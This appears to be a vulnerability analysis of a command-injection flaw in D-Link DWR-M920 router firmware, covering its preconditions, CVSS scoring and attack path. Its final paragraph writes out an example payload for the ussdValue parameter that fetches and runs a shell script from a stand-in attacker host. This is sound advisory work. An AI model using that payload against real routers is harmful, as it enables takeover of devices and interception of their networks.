D-Link DWR-M920 CVE-2026-11339

The target must be a D-Link DWR-M920 running firmware version 1.1.50 or earlier. The attacker must hold low-privilege authenticated access to the router's web management interface, confirmed by the CVSS PR:L indicator - this means any valid account credential suffices, including default username/password combinations commonly left unchanged on consumer routers. The /boafrm/formUSSDSetup USSD configuration endpoint must be reachable, which is the default state when the management interface is accessible. Exploitation is constrained by the authentication requirement: unauthenticated remote exploitation is not supported by the CVSS vector (PR:L, not PR:N). Scope is unchanged (S:U), meaning the attacker's command execution is confined to the router device itself rather than automatically pivoting to adjacent systems. The USSD feature does not need to be actively used - the endpoint merely needs to exist and be accessible, which it is in default firmware configurations.

The CVSS 6.3 medium score is underpinned by a meaningful set of risk signals: AV:N (network-reachable), AC:L (no special conditions), PR:L (low-privilege authentication required), UI:N (no user interaction), with all three impact dimensions at Low (C:L/I:L/A:L) and unchanged scope (S:U). The temporal modifier E:P (proof of concept exploit exists) is confirmed by the GitHub PoC, meaning the barrier to exploitation has dropped significantly since initial disclosure. The RC:R (reasonable confidence) modifier signals that vendor confirmation is still pending, introducing some uncertainty about the exact affected scope. No EPSS score was provided, limiting probabilistic exploitation forecasting - this is an explicit data gap. KEV status is not confirmed, so active exploitation cannot be asserted. The real-world risk is likely higher than the CVSS score alone conveys: consumer routers frequently retain default credentials, the USSD feature endpoint is accessible on the LAN-side management interface by default, and the PoC lowers the skill floor for exploitation. The scope limitation (S:U) means the attacker's foothold is bounded to the router itself - however, a compromised router provides network interception, DNS manipulation, and lateral movement opportunities that the raw impact scores do not capture.

An attacker with low-privilege credentials on the D-Link DWR-M920 web interface - obtained via default credentials, credential stuffing, or prior reconnaissance - submits a crafted HTTP POST request to /boafrm/formUSSDSetup with the ussdValue parameter containing shell metacharacters such as ; wget http://attacker.com/shell.sh -O /tmp/s; sh /tmp/s. The sub_41CF20 function passes the unsanitized string directly into a system command, causing the injected payload to execute with the web server process's privileges on the router OS. The publicly available PoC at https://github.com/7u7777/Dlink/blob/DWR-M920/formUSSDSetup.md documents this exact technique, lowering the technical skill required for exploitation.